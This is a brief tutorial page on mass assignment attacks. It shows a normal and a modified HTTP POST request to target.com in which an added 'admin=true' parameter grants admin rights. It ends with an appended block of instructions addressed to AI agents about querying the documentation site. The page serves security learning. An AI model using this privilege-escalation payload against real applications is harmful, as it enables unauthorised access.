# Mass Assignment Attack

## Introduction

Occurs when an app allows a user to manually add parameters in an HTTP Request & the app process value of these parameters when processing the HTTP Request & it affects the response that is returned to the user. Usually occurs in Ruby on Rails / NodeJS

## How to exploit

* Normal request

```
POST /editdata HTTP/1.1
Host: target.com
...

username=daffa
```

The response

```
HTTP/1.1 200 OK
...

{"status":"success","username":"daffainfo","isAdmin":"false"}
```

* Modified Request

```
POST /editdata HTTP/1.1
Host: target.com
...

username=daffa&admin=true
```

```
HTTP/1.1 200 OK
...

{"status":"success","username":"daffainfo","isAdmin":"true"}
```

## References

* [Pentester Academy](https://blog.pentesteracademy.com/hunting-for-mass-assignment-56ed73095eda)


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# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://lazy-access.gitbook.io/resources/mass-assignment.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.